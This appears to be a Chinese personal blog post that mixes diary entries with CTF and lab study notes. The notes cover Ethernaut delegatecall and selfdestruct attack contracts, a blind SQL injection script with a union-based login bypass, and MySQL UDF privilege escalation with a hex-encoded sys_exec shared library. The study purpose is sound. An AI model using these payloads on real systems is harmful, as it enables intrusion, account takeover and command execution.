0%

区块链学习之肆

老想学币了,可是币太贵了;

ethernaut - Preservation

description

1
2
3
4
5
6
7
8
9
10
// This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

// The goal of this level is for you to claim ownership of the instance you are given.

// Things that might help

// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
// Understanding what it means for delegatecall to be context-preserving.
// Understanding how storage variables are stored and accessed.
// Understanding how casting works between different data types.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

分析源码,Preservation 定义了两个成员合约,可以存储时间,然后定义两个函数,通过 delegatecall() 调用 setTime()

delegatecall() 的特点在这,在执行目标函数的时候,并不改变执行的上下文,本意是提供调用库函数的功能,但自然也能修改原合约的成员变量;

如何但污染库?其实这个合约函数本身写的是有问题的,storedTime = _time; 这个赋值操作在原文的上下文中并不能找到 uint256 storedTime,而是将在 delegatecall() 的上下文中与 LibraryContractuint256 storedTime 对应的 Storage 槽的对应位置的存储赋为目标值;

timeZone1Library uint256 storedTime 位于第 1 个槽(填满),对应 Preservationaddress public timeZone1Library ;

故而解题思路是,部署一个能修改 owner 的恶意合约,然后以上述原理将 timeZone1LibrarytimeZone2Library.setTime() 污染为恶意合约地址,再调用 timeZone1Library.setTime() 即可;

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256) public {
owner = tx.origin;
}
}

得到恶意合约 0x72872ddD9571727C9F8Fe91Cb6023deFCCF8a423

payload

1
2
3
4
5
// pollute timeZone1Library 
await contract.setSecondTime('0x72872ddD9571727C9F8Fe91Cb6023deFCCF8a423')

// delecatecall attack contract
await contract.setFirstTime('0x0')

成功;

ethernaut - Preservation

description

1
2
3
// A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

// This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}

contract SimpleToken {
string public name;
mapping(address => uint256) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

第一次 generateToken() 生成的 SimpleToken 合约地址丢失了,现在要想办法恢复向原 SimpleToken 发送的0,001 Ether

区块链上的动作都是透明的,故而用 Etherscan 查询 instance 合约的交易记录:

发现创建合约,点进去查看余额和目标 SimpleToken 的地址:

找到了丢失的合约地址,又因为合约具有 destroy 函数,调用即可;

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RecoveryAttack {
event log(bool);
event log(string);

constructor(address _victim) {
(bool is_success,) = _victim.call(abi.encodeWithSignature("destroy(address)", payable(tx.origin)));
emit log(is_success);
}
}

exploit 最短的一集,重点还是;

庆祝生活回到正轨且正轨变宽

想起来我删了很久的一条:

1
// 那就让我们来比一比,看看谁活得更精彩。

输了我就躺下,不过好像一直在赢,多久会输呢,敢不敢输呢;

没想过,我相信不是不敢想,而只是被蒙蔽住了,或者占用掉了。

两载上下

两载上非下

长城杯前几天刚跟人吵了架,口嗨恶心到人家,我又叛逆症发作,给人家考研哥挤兑退群了;

我肯定不想的,他很好的一个人,但我也没道理嘴上让步,我确实没错,让步我也不爽了,我压力也大啊!

我一直不相信”道不同不相为谋“这句话,我认为人生很大程度是因为”道不同相为谋“这种事情的存在变得精彩刺激起来的;

可是我在接纳别人的时候却又不循循善诱别人接纳自己,这就是我的不对了;

两载上与下

啊操,这何尝不是一种摆烂呢,突然想起 22.09 的自己,像一条已经失去了生的希望的死鱼,讨厌的人在抢救我,回去问问它,能不能拔掉我的氧气管呢;

事实上是我进化成新的生命了,似乎是很恶心的生命,但我身上像卸下了几万斤的担子,想必外表看起来很丑陋,因为试图抢救我把我变回活鱼的它瞠目结舌;

两栖动物在鱼眼里想必是丑陋,手脚好怪,鱼为什么不能永远圆圆的呢,长出手脚有什么用呢?掰到了怎么办呢?掰疼了怎么办呢?掰断了怎么办呢?没有手脚,还会游泳吗?

两载上或下

挨骂具体日期不记得了,大概是最近,懒得重新去翻,不能反反复复捡骂;

青春留给我的两项作品赛,目前已经完成的很好,可能也有了点挑衅的资本;

时至今日,再去骂我的老朋友们应该也不再是因为心虚了,却再没了半分雅致,这是非常反常的一件事;

也不知在这漫漫短夜的一个角落,是否还有一个悲喜都像是带着哭腔的声音,仍孜孜不倦地暗咒着我的龌龊与冰冷。

长城杯复赛

线下赛没有线上紧张,第一是自己的事情,第二不用抢题做,大概我还在愚昧之峰;

Web

GreatSQL

说是 sqlmap 可以梭?倒显得我不会用 sqlmap 了;

一个登录框,登录成功即可获得 flag ;

会提示用户是否存在,随便试了几个,admin 不存在,user 存在;

盲注爆一下 user 的密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://39.106.48.123:39446/login"
if __name__ == "__main__":
right_password = ''
for password_i in range (50):
for char in '1234567890qwertyuiopasdfghjklzxcvbnm':
ascii_i = ord(char)
data = {"username":f"user\'and ascii(substr(password,{password_i},1))={ascii_i};#","password":"qst"}
resp = requests.post(url=url,data = data)
if len(resp.text) == 4:
print(ascii_i,end='')
right_password = right_password+chr(ascii_i)
print(f'now:{right_password}')
print(password_i)
# now:e10adc3949ba59abbe56e057f20f883e

爆 md5,密码是 md5('123456')

登录提示要 login as admin,类似盲注爆一下用户名,爆出 test,pika 两个,分别爆密码:

1
2
3
4
5
6
7
# test
# now:098f6bcd4621d373cade4e832627b4f6
# md5('test')

# pika
# now:81ccafb8ef19e583f737f569c51d3cde
# not a weak md5

登了没用,没有 admin;

sql 执行出错会报不存在,测一下后台 select 的列数,username 为user' union select 1,2,3,4 显示密码错误而非不存在,说明结果有四列;

最终 payload:urlencode('username=usr' union select 1,2,'e10adc3949ba59abbe56e057f20f883e','admin';#&password=123456)

Todo List

需要看一些 Java,我总感觉 OpenGauss 连网条件下应该很简单;

还需要学学如何配网;

然后把 sqlmap 用明白。

壹个梦

好热血啊感觉,和离人哀吹牛逼吹出来的她自己一样;

睡醒保护自己,总要加工一下的,嘴里说出来的梦半真半假,现在去回忆,已然混作一团,全当真的去了;

啊,操,我是真的很懂我自己;

总结

最喜欢的某种设定

说不上来,大概是某种我没有经历过但却幻想自己经历过的真实,比如热血青春;

像这样:

次喜欢的某种设定

我,自恋型人格,无障碍,S,暴力 S;

自我保护

不能沉溺咯,那是你错过了又回不去的沈阳;

全没睡

搞笑了;

序言

我总感觉梦到那些他她死去,是一件很龌龊的事情,难道你觉得对他人此生的奉献已经足够?你已经做得足够好?

差得远了,小秦,醒醒!

提权学习之壹

After getting shell;

Mysql UDF

环境准备

docker

1
2
3
4
5
# Notice the order of args
docker run --name udf-test-mysql -p 33333:3306 `
-v "D:\works\Privilege Escalation\Mysql UDF\Docker Environment\mysql\log:/var/log/mysql" `
-v "D:\works\Privilege Escalation\Mysql UDF\Docker Environment\mysql\data:/var/lib/mysql" `
-e MYSQL_ALLOW_EMPTY_PASSWORD=yes -d mysql:9.0.1

连接

1
mysql -hlocalhost -P33333 -uroot

RCE 操作

检查 UDF 相关变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SHOW VARIABLES LIKE "%plugin%";
/*
+-----------------------------------------------+--------------------------+
| Variable_name | Value |
+-----------------------------------------------+--------------------------+
| plugin_dir | /usr/lib64/mysql/plugin/ |
| replication_optimize_for_static_plugin_config | OFF |
+-----------------------------------------------+--------------------------+
*/

SHOW VARIABLES LIKE "%secure_file%";
/*
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
*/

这里发现 secure_file_priv 不为空,不符合 UDF 提权条件,手动改一下 /etc/my.cnf

1
2
# secure-file-priv=xxx
secure-file-priv=

还要修改 /usr/lib64/mysql/plugin/ 的写权限;

尝试写文件:

1
2
select '1111' into dumpfile '/usr/lib64/mysql/plugin/';
# Query OK, 1 row affected (0.001 sec)

可以开始操作了,随便找个 payload 试试水:

1
2
od /usr/share/sqlmap/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -An -t x | tr -d ' '|tr -d '\n'
# 0b9aaa3d933b3a1976f47629a935024b42843605c8d2427a7b5e107ea7cd6c4ed771d77d05645c9089338cf377ceaa870865b0be15cefef76995cb5ed032e52af3fb6393961c1328b117531a102779627bf986f2fee81feee42a22a60dd36202a54cd9f982f4243e98f3b54b6d038c729c8acb9a7f8f2815d8ac32bfe18dd2845171ba6f78e1c5b3d687597b156005761825400ab003e6a4228355fde3beac0cb19c26d3da09fe187ca4f8917d5c7d95311eca2fef4b6b08c9b72c573bf0368f34aa239368718cd3ca0bf2cff35493f49b6add4b6f18a6b1d2e91da3a3ad6ff2e6e8c2266226899553ca1af8a5660acd9ec5adf39e27a028d1ae008308f4420836ce35db07e4a3295e848e3d1c3aa688b14a6911bcb0bf4fdbb5c6de32bbc46735c0bc93538cfa9d9d5c256f0daeafbdb4604926ad431a56c2ba70fb5a9a76e8a608793949d5ea9beb6eb6b375592b9c4812c94713b96c1c50e8237073f885cfd4e7e9483b65641dea7e040c98109991baa4ddb5cadd6481bc41f6f071f86b7f66ddc8c8b5cfc9989acf634fdfb95da6f610ca2c8ca11d831c4913cd53bb61b5f5084477479787c64dd97abdb1b2efc1cd9426a28242aa035aea4477191c9dcaa14ecce677ce4f4d575db1f0a5812abd9be40ce661f566a22bbd8436f970efeda3f411b8b13b2439a8bd05b32988645f4da43139bef1f17c2ac76abf4404e7e7af46c196ddd39014cc7ba2ce36e527ae19b99f4b30afcfb7d6c9469e29db80d0570d037f4807fc2bbc530006c362ff5eed51c80d5c77722eca141c122bfb83d770488b2a6fbd951943834bfb7cfcdc2c14bde3a57f54c74c6ba261ec833d1ebb83de4caf0c9fb93f6a64af8e2e7cd4d277f0126c5e117e5b43fe28ec6a0787ced4e917adffcc08d24f7f19a1ee15ebba250e146090a06b1a5ee2ac492432226112e68ffc6005baeb8e9a161197f88f5e32d61658382c8daa277b17c5efea3781a0192acd8c200ce6e30441237db2c31632c94c943f024d1ab77c04b2db49819b6b09ea523123f9865541b0c7ba7d8703ee33dbe263ac3bbcc5e24a4bfb2f92ea8b9b15c162b6cb6465bc95c9772c914a8317a700e5117420cdb2271333f32dcedcde9c4530c2f94e206700a6df1876b07bb71b515b3584511aaad2cfcd4f0a60d4bb29318defa71de36f3730957012e2f5b6f9aa937119ae6b7d9c0ca48e17f6fc8ecb42f246f9cd9d81659e2778e5962e02d308b50ef00bb3a0222993b6a3f2b1e44959799424459486d6be1289bf55b1f6be07a0074acf82cc0bc873cd5a9c783849db79962e8706b387f132a3377a67166bbbbc8bd9a568bd55bdbb8db6cdd3c90ef66245af81797bb8f44fa4eafcaa9259cba307d83e8add3748013911a1ae86f99f836ea99c26baa97fbb88f65f60090e023c8d49a55c858e3b8fa4f9fd302e51adb607b005503e0d9db7d4726d0433c2277c461f4dab301d3e71d8914ada203896a622e679f9905b62ceffad2dad63cb57d9466778d2a0d57404558a531f8f975956eceea65fbe195fc37d35217080bc6b2cfb73a45441f1951b4ff2c50e153cb950c5df402ece0ddfa8ddd860402b54759bad6d6bfb11c5735cffcf6b5b4de87454f39349a9659dd3c602c6574657a81617e416cded7bf1ad069fe09b618679bebb00a5ea59036719a8d89fdd8250befc5f54059c5aaf774105563a86a6a0cbe1ebe10e45a1feb8dbcd44e7d5815b54b0acdb25e2473ee1ae78eee80c78d1e60b8d1170c51679dd67a3e89c74906d6f807e64a932fa5e5ff650985bc39d15ccc12a3c1fc257a874bad460b992725aa258573665ba11830ffc110cc4392d43b105b946da252c421d01a61c4ecb2a7e8c19049c7f173a1da8254c8773a5a7fde8e9e0eaa10c2ced3a7b3044a9bb17e12731e61dac8d3ad541c2e1d98da4d5d1ee83e66541d32caacbd79b41c2e906340fe8eda2ddac57b84eebac940d6f273068df8d1fa207722ea2c5a78cfde9848866461d86a70337209f01af5a08e4356b9ec348c98107d4f194c0710971cf2fc6bc9577f08e62a668a133df5079266470edbbabf66eb55588f1b5223dae6db37f4f03d30b0db36db07465eeb2a8e6042b1cbfed6971482ff0a91be0b3c8faeb7528d2d108065ab007e983182bf84303a3664355c2e4e1bda9f655a4dbbbc37f207b03aa69ad64c8ca6b9e5ff0e900f22195712fa93a25bdf96576914e8dc4f13f03402a3afd8a58e0822d5fb9c8f80e3ef627506bdd08d2d02e931d6e3e4d2ac3d30171e409d540f31414a43d3c0c802725efd89c1691eeec1b9b12e73ac52cdf8facc737bc7932973e2af096a3a331bfb6e1adc62b7e1153fb79fc7fa7f7c1f3927d2ff1c2a48a12afe4ea414e0ffac3dad92e98b61b34ae2c8ce7f2acaf0e82f988dbe828517c29988513ada873c4bebab1e41f2ec6b9e43fec9562de55ce2c0b8673e581b764b3338c6fa82d3b07c2c1a0e174419298d1693ede29ed943476ebf0a6b15e41fb627988da2b6454b193a36e94ad7813e98c8ddac3a0d17a82d79dcfc547017443232762f206b77d1f87638a6e8fcdf08fbce5a893a97442defb371fef65c758f641f25860e30490ba14e2e29f3c0aca0dbc93f04bd46af824443795a82f4e62866c4a5578f36eb56c047cc9e59ffd1811bb269c1ad944c0880ee4ed59a71cfbdbad3424fc44b36510a5c06969cab7c820cc927091d937a4246603140839ee8e9af5fe2e9d7e137d83e9895b7d55c333d8ec20caf378f70089ad7a188abfd5219807825abc6f7fd2f75a7d79cf388a6fd888aadfa4657fe1e1c624c10ad8f6d8e20ddeacd513a70adb9fa486ab01f7b09157d6e5d20f29aa95ce5dc1a4ff2b6a139537030d1384836952d9f19cc1d0359b2d7b66dd08ecc1994f446bc27db33e1d87ef59385ce99576be6192bc495ebfe7ec2993413c6eae9cb7e9a942a11fe3c0eb15111c87522324780bc424a38e55697fcac7925598485309f73275d00f9433568a97652144c38744cc7c754525d2c35979dca08ae6268475e947d69f2de5484459f9814342db0c50eacf8f4d3caa5edc679614f109ecd18ab39a1bb7b57359b308c0cc4898a7137be23db974557c834a3b1efa04ca7557bc7b014508eb098df059dcae7810b08dd4c679f8a918473d6c11f78b492599fc47fb5f3426f8c325dea495b3dac75409b9cd0112428a6a6f362f0fdd6154d522bc5b2508b9d36a479e19a71c4eff57dbdee92dbe71c0c3a791db8aad477cfdf434d845b9024c97c956adf01ae065f273a411fd35e5e176d493ec383629a86d23721e1ed874520a6228718a9228ce038575823dae130a6fa3de09482ac7931e659775981938b797a5b9bb212596a94a98cf97972043da252f522f6ac64c365e66a690c92cbb10f80ce1042ab5e1e47795e89282bec7b188de490147bf13a6936183179ac09fab2382a945199c5fbaff60d0299a0a9fc9c980bc1f2f50387b23292e01646d01cf98aa976d0ba5f5de09a11bcb57dbc7b07f1f25a36d93c1a6cc3409a8fc199e48098ff7d6933bd1ed24795f4aec882b98571fec2eda0e8e9938954481a67c9295464fba2dee2bcd97502d8c3abb89b7a2fb094feeb7248b14638bfa802220769a1f9e2414c6f97494dbd50c04da450467bb2cb42b7d11757e253471da8423069a1f189bc4861c23778f4d976bbac4c15a57

写入 .so 文件(不是同一个):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E